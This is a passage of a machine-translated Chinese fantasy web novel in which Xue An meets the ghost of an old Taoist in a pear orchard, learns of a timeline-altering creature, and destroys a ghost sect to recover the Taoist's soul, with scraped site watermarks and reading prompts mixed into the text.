    But for him, who has been working hard in civilian areas since childhood and is best at pretending to be tigers and eating pigs, this is a better situation.


    After all, since he agreed to Xue An, it meant that he had become a knife in his hand.


    As a sword, you should have the consciousness of a sword.


    The corners of Griffin''s mouth raised slightly, and he smiled very reservedly. With his decent clothes and outstanding appearance, he was like a real nobleman.


    "You must have heard what the adult said just now. Since he asked me to teach you what awe is, then I have to be disrespectful. I hope everyone can cooperate well in the future."


    These remarks were very polite and decent, and also made some people''s complexions soothed a lot. They thought this Griffin was fairly witty.


    Only Mandy, who had been sitting next to Griffin, gave him a deep look.


    Of course she didn''t think this Griffin would let the people present so simply.


    But instead of being afraid, she was a little hot in her heart.


    Because just now, the Carter family and many wealthy families have disappeared, which also means that many sites have been surrendered.


    Although stained with blood, it is an extremely plump piece of cake.


    Mandy was born in the very ancient Leicester family, and its history can even be traced back to the time when the second district was founded long ago.


    Therefore, her vision is very good, and it is natural that Griffin has an unlimited future with Xue An as a background.


    Coupled with the previous contact with Griffin, she has a lot of affection for this man.


    More importantly, he had helped him before.


    This kind of help when you haven''t made a fortune is even more precious.


    Thinking of this, Mandy bit her red lips and made a secret decision.


    When Griffin started to reorganize the forces in the second district, Xue An had already returned to Beijiang with everyone. Bxwx*


    When I saw Xue An again, both Qin Yu and An Qing were in awe of Xue An.


    After all, what happened in the second district just now, they have already known a general idea through various channels.


    This is probably enough to shock them.


    But Xue An ignored these shocks from the outside world, and just spoke softly to Hu Ye.


    "You lead them to guard here."


    "What are you going to do?" Hu Ye asked immediately.


    "I have a new discovery to confirm. Don''t worry, I will be back soon."


    After all, Xue An disappeared into the sky in a single shot.


    Hu Ye looked at Xue An who was hurrying up and down, and couldn''t help sighing.


    "This guy, doing things will always be so mysterious."


    However, Hu Ye also knew that Xue An had said this to prove that he must have made new discoveries, so he couldn''t help but feel excited.


    Xue An flew away from Beijiang in the blink of an eye and arrived in the Qingmang Mountain.


    At this moment, the Qingmang Mountain is deserted.


    Because of Xiaosha''s transformation and departure, the original aura and aura here had been destroyed, and there were desolate flowers and grass everywhere.


    Xue An followed the faintly discernible path in the mountains to the depths of Qingmang Mountain, and finally stopped in front of a pear orchard.


    The climate of Qingmang Mountain is very suitable for the growth of pear trees. Coupled with the gathering of spiritual charm, the pear produced here has become a famous local product.


    But now these pear trees seem to be very decadent, and many of the leaves are already yellow.


    Xue An��s goal was not this, he saw him hurriedly walk into the pear garden, and finally saw a small courtyard inside.


    This courtyard is very dilapidated. Even the courtyard wall has collapsed. Obviously, it has been uninhabited for a long time, but it can be vaguely seen that this courtyard should have been a Taoist temple before.


    Because there is a broken yin-yang gossip picture hanging in this small courtyard.


    Xue An stopped, with a complex look on his face.


    He is no stranger to this small courtyard.


    Because long ago, before he left Qingmang Town, he had come to this courtyard more than once.


    At that time, Xue An''s parents died early and had no financial resources. It was very difficult to study. For this reason, he often went to the mountains to collect some local products in exchange for meager rewards.


    Later, he got acquainted with this Zhai Lao Dao who lives in the 10,000-acre pear orchard.


    This old way takes care of Xue An a lot, and it can even be said that without him, Xue An might not be able to get out of Qingmang Town at all.


    In fact, in the world that hadn''t been tampered with before, this Zhai Lao Dao later period also appeared.


    At that time, Xue An, who had just returned from rebirth, returned to the small town of Qingmang and met Song Yi, Chen Rushi and others, and went into the mountains to look for Xiaosha.


    Then I met this old way again.


    In fact, this old way is always being ordered by the teacher to wait for the dragon, so he met Xue An again, and a lot of things happened after that.


    But this veteran only played once and then disappeared.


    It was not that the author had forgotten him, but because of the old-fashioned nature of being pure and uncontroversial, Xue An''s prestige became greater and greater, so he took the initiative to retire and refused to show up again.


    After the earth went through a catastrophe, Xue An specially sent someone to look for him, but he found nothing, which made Xue An sigh quite a lot at the time.


    But all of this is what happened in the world that has not been tampered with, and in this timeline, Xue An has seen many different things. UU reading


    At that time in the Carter family, Xue An saw the boundless sea of ??time and space with the help of the so-called space-time holy relic.


    Those countless trajectories of fate are connected to each other, but Xue An himself is excluded.


    But Xue An soon discovered the strangeness.


    All these changes in fate seem to originate from an inconspicuous time and space node.


    This time-space node is also faintly related to Qingmang Mountain.


    For this reason, Xue An only returned here.


    Xue An stepped into this room that was about to collapse. Sacrifice like shucang.cc sacrifice like


    Because it has been uninhabited for a long time, there is an unpleasant musty smell permeating here.


    Xue An was a little startled.


    The scenes that had happened flashed before his eyes.


    But in this timeline, this old way passed away early, and he had never seen himself.


    Xue An lingered for a while, then took out the sacred piece of time and space, and put his spirit into it.


    In an instant, the surrounding scenery quickly faded, and then Xue An saw everything that had happened in this cabin.


    At that time, the young and veteran came here, cutting the grass and living in this remote place.


    All because of the death of the teacher, let him secretly protect the sand that was just a python flood at the time. Mi He Mi


    This kind of day is very clean, it can even be said to be boring, so the old way will plant pear flowers after daily homework.


    Day after day, year after year, these 10,000 acres of pear orchard were finally planted.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2640： There is an old deceased waiting for you in the depths of Ewha

    This peaceful life passed for decades, and was finally broken by a group of strong men who learned that the Python Jiao was infiltrating here.


    Relying on their own strength, these people forcibly broke in and tried to take Xiaosha away.


    The old Dao shot angrily and eventually drove these people away, but he also suffered a serious illness because of this and eventually died.


    This is the short and boring life of this veteran.


    After watching these pictures, Xue An was silent.


    At the beginning, in the basement of the Carter family, Xue An saw countless time and space nodes gathering here, which seemed to be related to the chaotic timeline, but when he came here, he found that the Sri Lankan was dead. Sacrifice as suyingwang.net


    Could it be that this road is blocked?


    Xue An was lost in thought.


    At this moment, there was a loud noise outside the door.


    This noise is very slight, if it is estimated by ordinary people, it would be ignored, but Xue An, such a character, almost flew out of the room and came to the outside world the moment the noise reached his ears.


    Then he saw a rather strange scene.


    I saw that the 10,000-mu pear orchard when I came here is actually in full bloom at this moment.


    You must know that this solar term has already passed the time when the pear blossoms are blooming, and when passing by this pear orchard just now, Xue An has witnessed the decline of these pear trees to the point where the leaves are more than half yellow.


    But just like this dying pear orchard, at this moment, the pear blossoms were full of pear trees, which looked like huge torches from a distance, which was breathtaking.


    Xue An moved in his heart and moved forward, and then found that there was a small creature among these pear blossoms.


    This breath is so weak, if it weren''t for Xue An''s extremely powerful spirit, he might not have noticed it at all.


    After feeling Xue An''s breath, small heads poked out among these pear flowers, looking at Xue An timidly.


    At the same time, there were whispers in Xue An''s ears.


    "Is this the man?"


    "God, the breath on his body is so terrible, he won''t eat us."


    Hearing these sounds, Xue An smiled slightly, and finally knew what was going on with the noise that came into his ears before.


    At the same time, he also knew what these little fairies were no more than a finger.


    This is clearly the flower essence bred by these pear trees.


    It''s just that he doesn''t know what these pear flower essences mean to him.


    Do they have anything to tell me?


    At this moment, the pear flower essence in the 10,000 mu of pear orchard seemed to have quietly agreed on something, and suddenly dispersed, and then a flower essence about fifty centimeters in size flew out of it and bowed to Xue Anyuan.


    "The Lord of Pear Blossoms, I have seen the son!"


    Xue An smiled slightly at this little leader of Pear Blossom, and also replied a gift.


    "Dare to ask the son who came here to look for the master Zhai Dao?"


    Xue An''s heart moved, and then he thought of something, then immediately nodded and said: "Yes, I am here to find him. Do you know where he is now?"


    The leader of the Ewha sighed, "Back then, a group of wicked people suddenly broke into here and injured Zhai Daoye. After a few years, Daochang passed away!"


    Xue An sighed lightly, and it was so!


    But then the leader of Ewha turned around and continued.


    "But we were all planted by this master Zhai. Even though we were humble, we did not dare to forget such kindness. Therefore, after the death of the chief Taoist, we used our weak magical power to conserve his body to maintain it. His soul is still there!"


    "The purpose is to wait for someone who is predestined, and now he can''t go after seeing the son here, so he dare to stop the son!"


    Xue An''s heart trembled suddenly.


    Because he really didn''t think of this. Reduce b


    Who would have thought that these humble little flower spirits could have such insight and courage.


    In order to repay his gratitude, he did not hesitate to protect Daochang''s body with his meager mana.


    So he took a deep breath, "Where is that long body?"


    "My son, please come with me!"


    With that said, the leader of Ewha turned around and led Xue An to the depths of Ewha.


    Along the way, countless flower essences hid in the distance and looked at Xue An quietly, but did not dare to come over.


    After all, they are too weak,


    She was so weak that she might not be able to bear the slightest power of Xue An''s body.


    Xue An also knew this well, so he ignored these flower essences for fear of hurting them again.


    soon.


    After passing through a large pear orchard, a small open space appeared in front of him.


    A towering pear tree stands in the clearing, but it is different from those pear trees that are in full swing.


    Only one flower bloomed on this pear tree.


    A huge pear flower the size of a person.


    The breeze blows, and the pear blossoms tremble slightly.


    The leader of the Pear Flower whispered: "My son, this is where the main body of the slave family is. As for the whereabouts of the chieftain..."


    The leader of the pear flower waved his hand gently, and the branches of the towering tree receded one after another, revealing a small tomb below.


    "Because Dao Master''s soul and body are very fragile, and my own cultivation base is very weak, so the usual Dao Master''s soul is in a deep sleep."


    As he said, there were several loud rumbling noises from the ground. It was the sound of Lishu withdrawing his rhizome from the tomb.


    Immediately afterwards, a mist rose, and then an old soul appeared in the air.


    Although after so many years, UU reading www.uukanshu. com also experienced two timeline changes at the same time.


    But Xue An recognized this figure at a glance, it was the old Zhai Dao who had been kind to him.


    At this moment, although the old Zhai Dao was in a state of spirit, he still wore that gray preaching robe.


    At the same time, the face is still full of confusion, as if a person just woke up.


    "Master Zhai Dao, this young man came here to find you. I saw that the young man was pure and clean and was definitely not a wicked person, so I attracted him to see you!"


    After hearing the words of the leader of Ewha, Zhai Lao Dao gradually regained consciousness.


    At the same time, Xue An walked a few steps tightly and threw a fist at Zhai Laodao.


    "Dao...Dao Master!"


    There was a tremor in the words.


    Reuniting here again after so many lives, Xue An couldn''t help but sigh.


    At the same time, this old Dao stared at Xue An, and only after a while, he said in a hesitant tone: "Xiao An?"


    Although these two words are not loud, they can be heard in Xue An''s ears but no less than a bolt from the blue.


    Because he never expected that the old way would call out his name.


    Shouldn''t he not know himself in this timeline? Mi He Mi


    Could it be that he, like Fox Ye, also preserved his memories?


    At this point, Xue An immediately asked: "Do you know me?"


    Old Zhai also looked bitter at this time, "It''s really you! I really didn''t expect that there will be another day between you and me."


    Speaking of this, Old Zhai raised his head, "I have been trapped in this **** world for decades. I haven''t waited until you come. I even thought that you really disappeared. This made me desperate, but God bless you, you finally showed up!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2641： All the past is as before

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Pear blossoms are like snow, and moonlight is like silver.


    Xue An sat under the tree and listened to Zhai Lao Dao''s account of the past these years.


    "When you led the power of the entire heavens to quell the catastrophe, I was in China all the time, but I was conscious of my low morals and couldn''t help you, so I didn''t show up."


    "The turmoil in the back was calm, and the catastrophe was hard to come by. Seeing this, I returned to Qingmang Mountain and continued to be my little Taoist priest."


    "Unexpectedly, this kind of peaceful days did not take long before a weird sudden change occurred."


    "What mutation?" Xue An asked in a deep voice.


    Although it was the body of the soul, Zhai Laodao''s expression became very serious.


    "I can''t say it clearly, but everything comes from a dream I had."


    "Oh? A dream?"


    "Yes! I dreamt that a huge and weird bug suddenly appeared in the sky and the earth. This bug has a human face and has been smiling at me strangely."


    "Then I woke up. After I woke up, I didn''t really care too much. After all, people can''t avoid dreaming. But I didn''t expect that I would dream of the same scene every day, and the appearance of this strange bug. It became clearer and clearer over time."


    "This is obviously not right, especially for me. Although my cultivation level is not very good, after all, I have concentrated on Taoism for many years and has long been invaded by evil, so this strange bug is definitely not an ordinary evil."


    "For this reason, I even used the secret method of the teacher''s door to ask the ancestor master to help me avoid bad luck and cleanse the monsters, but no matter what I use, it will not help. The strange insect still appears."


    Xue An fell into deep thought, "Then what then?"


    "Then I gradually got used to this weird dream, and even felt that it might be my karma before it appeared, but I never expected that just a month later, the weird worm in my dream that night was already visible. "


    Speaking of this, there was a look of horror in Zhai Lao Dao''s eyes.


    "You know, the dream shouldn��t have details, but the weird bug is so real. When it appeared, I noticed something was wrong and tried to wake up, but only then did I realize that I had moved. No."


    "Immediately after that, this strange bug swallowed me in one bite. When my eyes went dark, I didn''t know anything. When I woke up, I found that I was back in my youth."


    "At first I thought it was an illusion, but after a closer look, I realized that it was all true. Even my dead master is still alive. For this reason, I fell into a great panic."


    "Because according to my memory, my master had already been reincarnated as a soldier when I was ten years old, but he not only lives in this world, but he also lives very well!"


    "I was confused for several days, and then the master sent me to this Qingmang Mountain to guard the python flood."


    "Fate started again, but when I left the division, I was shocked to discover that the world has changed so much, especially after I came to Qingmang Mountain and found that there was no you at all! I was really panicked at this time. NS!"


    "But I dare not show it, because I don''t know if the monster that swallowed me is spying on me, so I can only live in this green mang mountain step by step until I die!"


    Old Taoist Zhai sighed, "In fact, in the later stage, I even thought that this world was real. As for you and the many things that happened later, it was just my dream, but I didn''t expect to see it so long after my death. you!"


    Speaking of this, Old Road Zhai looked at Xue An, "Where did you come from? What is going on with all this?"


    At this time, Xue An had probably sorted out the ins and outs of the matter.


    This Zhai Lao Dao''s timeline change is obviously many years earlier than that of Fox Night.


    Even long after his death, Fox Ye appeared in this chaotic timeline.


    This explanation may be a bit complicated.


    For example, if time is a river, then the current timeline is obviously a fork in the road.


    Zhai Lao Dao appeared directly in this timeline under the engulf of that strange bug, many years in advance.


    After he died, Huye only awakened from this timeline. Because there was no memory connection between them, Huye felt that the world had changed drastically overnight.


    As for the disappeared Xuan''er, Mengxue and others, obviously none of them existed in this timeline. They were sealed in the gap of time by some kind of power.


    The instigator is obviously related to the strange bug that Zhai Laodao dreamed of.


    So far, the whole incident is logically sorted out.


    Xue An told all his story and speculations.


    After Zhai Laodao listened, he couldn''t help showing a look of horror.


    Although he had already guessed, he didn''t expect the truth of the matter to be so horrible.


    "Is this evil being so powerful? It can even modify the timeline? And if we are in a fork now, can we return to the previous timeline?"


    Xue An shook his head, "This should be very difficult, because the river of time has changed, and it is probably very difficult to go back again!"


    Zhai Lao Dao''s eyes widened, "What should I do? Don''t you just endure it like this? If it''s just a change in the world''s structure and public opinion, it''s okay to say that the key point is that many people no longer exist!"


    Xue An raised his head, and the moonlight coming through the cracks in the pear blossoms shone on his face, making the expression on his face mottled.


    "I just said it was difficult, but I didn''t say it was impossible! At least now we have one more message, that is, the change in this world is obviously related to the weird bug you dreamed of!"


    "But since I came to this strange world, I never dreamed of it again!"


    Xue An was silent for a moment, and then whispered: "Don''t worry, it will definitely appear, because his ultimate goal is me!"


    Old Zhai said nothing, his transparent body reflected the moonlight, making him look very illusory.


    Xue An was taking stock of the whole thing in his heart.


    At that time, when Tianwaitian just heard the narration of Fox Night, he thought that there was only existence that erased people''s memories with a powerful force. As for the disappeared Xuan''er and others, they should have been taken away. NS.


    But after returning to the heavens, he found that something was not right, because it was not people''s memory that changed, but time.


    But at that time Xue An still felt that this was just some kind of illusion.


    Until he saw the stone in the Carter family, what Xue An had seen at the time told him clearly.


    The change in this world is far from being as simple as it seems.


    At least the flow of time has changed.


    And now Xue An is most puzzled by two points.


    The first is if the black hand behind the scenes really has the power to change the direction of time, why not do it on yourself, but just change the timeline of the entire heavens?


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2641, the past is as before), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2642： Summing up

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    You must know that the ultimate goal of these evil things is yourself. Since it has such a powerful strength, why not just deal with itself?


    Even if, as the Eastern Emperor Taiyi said, their purpose is not only to kill themselves, but also to take the backbone of the entire Chinese nation, but this is a bit unexplainable.


    After all, if these evil things are so afraid of the Chinese, can they just modify the timeline and let the Chinese perish?


    correct!


    At the beginning, Emperor Taiyi inadvertently revealed a very important information, that is, they dare not directly attack the Chinese and themselves, because there is some existence behind them that is staring at them.


    And what is this existence?


    Since it is leaning towards the Chinese and its own side, why doesn''t it stop the evil things'' repeated attacks?


    It''s just like a referee on the court, just forbidding some extraordinarily behavior, but can''t get off the court directly.


    Xue An faintly felt that he seemed to have touched the core of certain problems.


    But if it is to be confirmed, there is still a long way to go.


    The second question is very simple. Why did this man behind the scenes attack Lao Dao?


    You must know that there are more people related to you. Although Zhai Lao Dao is important, it is not the key one.


    But this man behind the scenes took the lead in attacking Zhai Lao Dao, which shows that his time and space node must be closely related to the current timeline.


    For a time Xue An had many thoughts, and countless thoughts flashed through his mind.


    Zhai Laodao didn''t urge, he just waited quietly on the side, because he knew that Xue An would definitely say something.


    really.


    After thinking about it for a long time, Xue An looked at the old Taoist Zhai and sighed softly: "The timeline of this world has changed so much, but have you been your Taoist priest?"


    "Otherwise? I don''t have any other skills. Although many things have changed, at least the Chinese gods are still there. I will always let this Dao pulse continue!"


    "So you saved this 10,000 mu of pear orchard as your successor?" Xue An asked.


    "You can see it?"


    Xue An nodded, "How can so many spirits be born from these pear trees alone, especially this flower spirit leader, obviously has Daoyun in his body."


    Old Zhai smiled, "There is no way. Although this mountain is clean, it is really too lonely. It is impossible for ordinary young people to bear the temper. Besides, those who want to be strong will go to Hongyu Villa to apprentice, who is willing Self-cultivation for a bad old man like me."


    "In desperation, I had no choice but to use the secret method of the teacher to reduce these pear flowers little by little, cultivate their minds, and hope to pass on all of my own capabilities to them!"


    Speaking of this, Zhai Lao Dao suddenly remembered something, "You just said that when you returned from the outer sky this time, you also brought back two Chinese gods, Guankou Erlang and Jiutian Profound Girl, are they there?"


    "I''m not here now, because they have their own business to deal with, but they should be back soon too!"


    Old Zhai nodded, "I really want to see these ancient gods who survived sooner!"


    "Don''t worry, you will see it soon!"


    Old Zhai smiled bitterly, "But do you think I can wait until then when I look like this?"


    Xue An didn''t answer his words directly, but raised an eyebrow, "Who was the one who injured you in the first place?"


    "Speaking of which, you should also know that it is a person from the Ten Thousand Ghosts!"


    "Thousand Ghosts?"


    Xue An thought for a moment, and even thought of this school.


    When he had just returned from rebirth, this Wanguimen had come to Qingmang Mountain to play Xiaosha''s idea, and then he killed their young master by himself.


    Then this sect, respected by the ghost servant, was backlashed by the ghost general, and the sect was destroyed.


    But I didn''t expect that in this timeline, it was the old Zhai who had been injured by the tens of thousands of ghosts.


    "Is the soul and soul you are missing in their hands?" Xue An asked.


    "You can even see this?" Zhai Laodao was a little surprised.


    "The incomplete soul is something that ordinary people will appear after death, but you have a way to protect you, it is impossible to happen so quickly, not to mention the remaining two souls and five souls of you are very stable, not like It''s the performance after dissipating, so someone must have taken your soul away."


    Old Zhai nodded, "Hey, you guessed it, my soul and soul was indeed taken away by the people of the Ten Thousand Ghosts. Otherwise, although my Taoism is low, it is impossible to become what I am now, but this time The Ten Thousand Ghosts in the line are not what it used to be, not the small sect before!"


    "On the contrary, they don''t know what kind of protection they have received. Their strength has expanded rapidly, and they are already one of the top sects of the Chinese people. Even Hongyu Villa can''t help it! So..."


    Xue An waved his hand, "So there is nothing wrong with it. Since they injured you, it''s easy to say, wait a while, I will go back!"


    When the words fell, Xue An didn''t wait for Zhai Lao Dao''s retort, and once he stomped his foot, his whole person went straight into the sky like a cannonball and disappeared.


    Old Zhai looked stupid looking at Xue An''s back.


    At this time, the lord of pear blossoms appeared beside Old Dao, "Master Dao, who is this son?"


    Old Zhai said slowly: "He, he is the existence tied to the luck of the ten thousand realms!"


    The main altar of Wanguimen is located in the mountains on the southwestern border of China, and its sphere of influence is extremely wide.


    When Xue An stepped into the territory under its jurisdiction, he found that the sky was full of black smoke and the wind was gusty, really like a ghost country on the ground.


    And Xue An''s sudden intrusion also attracted the attention of the guards of the Ten Thousand Ghosts.


    Nowadays, these thousands of ghost gates are also advancing with the times, and the guarding mountain array not only has a divisional formation, but also has modern technological means such as radar.


    So after seeing the fast-flying light spot on the radar screen, the person in charge of monitoring immediately reported it.


    The people of Wanguimen didn''t care too much about this, but just issued an order to send a team of Yin soldiers to check the situation.


    This yin soldier moved upon hearing the wind and stepped forward to intercept it at an extremely fast speed.


    Xue An naturally noticed this, but his speed did not slow down at all, just a snap of his finger.


    Bang!


    This Yin Soldier squad didn''t even hum, and it turned into nothing. UU reading


    Only now did the guards of the Ten Thousand Ghosts realize that the matter was serious, but before they sent a second team, Xue An had already arrived before the guarding the mountain.


    Seeing the wind whistling and the black light flowing, this great array rose to the sky, covering the huge Ten Thousand Ghosts Gate General Altar.


    At the same time, in this great formation, there are still countless lives crying faintly.


    Xue An''s expression sank, "Torturing and killing creatures, take their grievances as a battle, if only this is the case, you should kill them!"


    When the words fell, Xue An took a step forward, and the big formation was like a fragile egg shell, bursting to pieces.


    Immediately afterwards, dozens of figures flew out of the Ten Thousand Ghosts Gate General Altar, and the leader roared.


    "Who would dare to come and run wild before my Ten Thousand Ghosts Gate?"


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2642 summarizes and summarizes the soul of the dead), and you can see it next time when you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2643： Windfall

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Xue An didn''t bother to talk nonsense with these people, and slapped it directly.


    boom!


    Accompanied by a loud noise that shook the sky and the earth, all the dozens of figures except the person who had just shouted turned into blood mist.


    The clamor stopped abruptly and turned into a rattle in the throat of the survivor.


    He looked at the scene before him in horror and couldn''t believe his eyes.


    But the facts could not help him not believe it.


    And at this moment, Xue An came to this person in a flash, and then asked in a calm tone.


    "Are you the master of this ten thousand ghost gate?"


    The man nodded tremblingly, "Yes...Yes!"


    "Very well, where did you take this person''s soul into captivity?"


    Following the voice, a phantom appeared in front of Xue An, exactly the image of Lao Dao Zhai.


    The master of the Ten Thousand Ghosts was fighting with his teeth, "I...I..."


    I haven''t said why for a long time.


    Xue An frowned slightly.


    At the same time, countless black lights suddenly emerged from the general altar of the Ten Thousand Ghosts at their feet, and they rushed towards Xue An.


    Seeing this scene, the master of Ten Thousand Ghosts was delighted.


    Obviously this was discovered by the disciple who guarded the main altar, so they started to deal with the intruder together.


    But his joy lasted less than a second, and was interrupted mercilessly.


    "It seems that you don''t want to say, then I will find it myself!"


    When the words were over, the head of the master of the Ten Thousand Ghosts sect burst open, and his soul was also shattered at the same time.


    Then Xue An forcibly condensed all the memories in his soul into a small ball of light.


    And at this moment, the attack of the Ten Thousand Ghosts also arrived.


    But Xue An didn''t even turn his head, just stomped lightly.


    Boom!


    The space trembled, and then countless time and space cracks appeared under Xue An''s feet, and they spread quickly.


    Wherever he went, these so-called attacks were directly shattered just like mashed paper.


    For a while, the entire Ten Thousand Ghosts Sect General Altar screamed again and again, and all those who shot were shocked by the backlash.


    At the same time, Xue An finally found the information he needed from the memory of the sect master. Not only that, but he also saw some interesting things.


    "Hey... I didn''t expect that there would be unexpected happiness here!"


    Xue An slammed and disappeared in place. When he reappeared, he had already arrived in a secret altar under the general altar of Ten Thousand Ghosts.


    This altar is very secretive, and the floor, ceiling, and the walls on all sides are engraved with weird runes.


    In the middle of the altar is a weird stone.


    The stone was shining with a faint light, and it was surrounded by countless black lines, almost no different from the time-space holy relic enshrined by the Carter family.


    It''s just that this piece is a little smaller.


    And there are many black flags around this stone.


    Above the black flags, the sullen air is lingering, and there are faint sounds of crying and roaring, which is obviously a poisonous magic weapon made from the sacrifice of the soul.


    Of course Xue An would not leave this kind of thing to continue to harm people in the world, and saw that with a wave of his hand, a ray of sword light smashed all the black flags present.


    Countless black smoke emerged, and there were countless souls crowded around.


    I saw that these souls were all directed at Xue Anshi.


    Xue An nodded slightly, "Go all!"


    So these souls just dispersed.


    Soon, the field became empty, and only a phantom to almost transparent figure stood there.


    It was the soul and soul that Zhai Laodao lost.


    It turned out that when the Ten Thousand Ghost Sect intended to attack Xiaosha in Qingmang Mountain, there was a fierce battle with Zhai Laodao.


    The battle was finally reinforced by Zhai Laodao''s divisions, and finally ended with a narrow victory.


    But the cost of this war is also heavy.


    Zhai Lao Dao''s division was almost annihilated, and even Zhai Lao Dao himself was injured by this black flag, and his soul and soul were included in it.


    If it hadn''t been for Xue An''s move, perhaps his soul would have been imprisoned in this black flag forever.


    Xue An incorporated the spirit of Zhai Lao Dao into his own sea of ??eyebrows and minds to prevent them from dissipating and missing.


    Then Xue An came to this time and space stone.


    This stone is obviously not as big as the Carter family, but it does not provide a small deterrent.


    Especially when you get close, the dense trajectories of fate above can always give people a strong sense of oppression.


    To be honest, Xue An didn''t expect to have such a surprise for Zhai Laodao this time.


    However, it can be concluded by combining what Zhai Lao Dao said before and the situation of these ten thousand ghosts.


    The sudden rise of this Ten Thousand Ghost Gate is obviously related to this time and space stone.


    Xue An stretched out his hand and gently touched the surface of the stone.


    In an instant, that mysterious scene once again appeared in front of Xue An, but the scene he saw this time was slightly different from that of the Carter family.


    At least the people connected by these destiny trajectories are quite different from the Carter family.


    Seeing this scene, Xue An''s heart moved.


    Could it be that the people connected to each stone of time and space are different?


    Thinking of this, Xue An couldn''t help but suddenly enlightened.


    If this is the case, what will happen if all these time and space stones are gathered?


    Is it just like a puzzle, as long as there are enough pieces, you can piece together more information and get more clues?


    What would happen if all the time and space stones were collected?


    This thought made Xue An''s eyes gradually firm and calm.


    In fact, even if he knew the reason for the whole thing before, he still felt a little confused and powerless.


    Because he really didn''t know where to start to change everything in this disorder.


    Until he saw this stone of time and space, Xue An felt as if a layer of window paper had been tapped in front of him, and he was suddenly enlightened.


    Because he believes that these time and space stones are by no means that simple, and may even be the key to changing the entire heavens.


    Thinking of this, Xue An took a deep breath, and solemnly took the stone into the sea of ??brows.


    After doing all this, Xue An looked around the altar and found that there was really nothing valuable, and then he stepped forward.


    Of course, this time Xue An has no more scruples, and directly resists the hard concrete building with his physical body.


    Rumble!


    Sand and stones splashed, UU reading and mud appeared in the sky.


    Xue An forcibly knocked out a big hole from the underground altar and flew into the outside world.


    At the same time, the total altar of ten thousand ghosts is already in chaos.


    Because what just happened was so fast.


    The sect master led the elites just about to fly up to deal with the unknown intruder, and they were wiped out in the next second.


    And the blow that brought all the people up and down the door of the Ten Thousand Ghosts together was also shattered, and the power of backlash killed many people on the spot.


    Therefore, at this moment, the door of Ten Thousand Ghosts can be described as extremely chaotic. Many people saw that something was not good, and immediately began to search for information and prepare to escape.


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2643 Unexpected Harvest) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2644： Snap the door

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    But how could Xue An let these people go.


    When he flew out of the underground altar, he lowered his head and looked down at the total altar of the Ten Thousand Ghosts Gate, and then stepped on it.


    boom!


    A huge power fell from the sky.


    The entire main altar of Ten Thousand Ghosts was instantly razed to the ground, and even the people inside it turned into blood and flesh.


    But for these people who are good at ghosts, they can still survive even if their bodies are broken.


    But how could Xue An allow these evil spirits to remain in the world to harm people.


    Therefore, the brilliance in his eyes flashed, and a nearly transparent flame flew down. When he touched the total altar of ten thousand ghosts, it would burst into flames as if cooking oil.


    The blazing flames soared into the sky, not only the main altar was burning, but the entire mountains infested by evil spirits were also burning with it.


    Xue An glanced lightly, then turned away.


    But he didn''t know, even if he knew it, he wouldn''t take it seriously. The destruction of this ten thousand ghosts immediately caused a huge sensation in the entire practice world.


    Hongyu Villa.


    Huhuan lay leaning on the limp, sipping the wine one by one.


    The whole room was filled with a strong smell of wine, and all kinds of wine bottles were placed on the table or the floor.


    But even so, there was no drunkenness in Hu Huan''s eyes, on the contrary, the more he drank, the clearer he became.


    While drinking, he was thinking about what happened last night.


    The outstanding young man in white left a deep impression on him.


    But this is not the main thing.


    The important thing is that he felt an inexplicable sense of familiarity after seeing the boy in white, as if he had seen it somewhere.


    This is a very strange thing.


    You must know that as far as his current cultivation is concerned, his heart is completely in control, and there is absolutely no possibility of forgetting memories.


    But he just felt inexplicably familiar, but he couldn''t remember it.


    And this feeling is not only for him, after communicating with Li Jingxing, this guy obviously has the same feeling.


    This is so strange.


    I can barely explain it by coincidence by myself, but will the two powerful quasi-xianzun-level experts also make a mistake at the same time?


    Ten thousand steps back and said, even if he and Li Jingxing were mistaken, when Hu Huan saw the fox night behind the white-clothed boy, his heart was still shocked for no reason.


    the reason is simple.


    At the beginning, my younger generation was like Zhongxie when he was born late, and he began to frantically search for his so-called younger sister, Hu Ying.


    But who doesn''t know that the direct descendant of the Qingqiu Fox Clan in his generation is only himself.


    There is no Huying at all.


    But this fox night is so conclusive, it doesn''t mean that everyone is lying to him.


    He didn''t calm down until he saw the genealogy and found that there was only his own name on it.


    But later on, he often began to disappear, even his wife was sent away, until one day he completely disappeared.


    Huhuan sent someone to look for it, but there was no news.


    Unexpectedly, I met him here today.


    But Hu Huan was not shocked by this. He was shocked that Hu Ye had told him himself.


    There is a young man in white clothes named Xue An who is the strongest in the entire heavens, and everyone he saved at a critical moment.


    At that time, Hu Huan thought it was all his idiot dreams.


    But he didn''t expect that after Fox Ye had disappeared for a while, this boy in white, who was just like his description, would really appear.


    This is too interesting!


    Could it be that what Fox Ye said is true?


    Otherwise, how could such a peerless power suddenly pop out?


    But then Hu Huan shook his head again, denying his absurd idea.


    Who didn''t know that the catastrophe in this world was settled by the gods descended from heaven, and the name Xue An has never been heard.


    Maybe this is a conspiracy?


    Just as Huhuan was thinking about it, suddenly!


    He felt a sharp fluctuation of aura.


    Fox Huan was startled, Xuan even disappeared on top of the collapse.


    Outside the window.


    Li Jingxing was also standing high in the sky, looking at the direction of Ten Thousand Ghosts, his expression dignified.


    "You feel it too?"


    "Well! It''s such a strong fluctuation, the person who shot it obviously didn''t intend to stay alive."


    "The news just came back that all the gates of the Ten Thousand Ghosts were destroyed, and even the mountains were covered by blazing flames."


    Hu Huan was taken aback, "Did he move his hand?"


    Li Jingxing nodded, "Yes!"


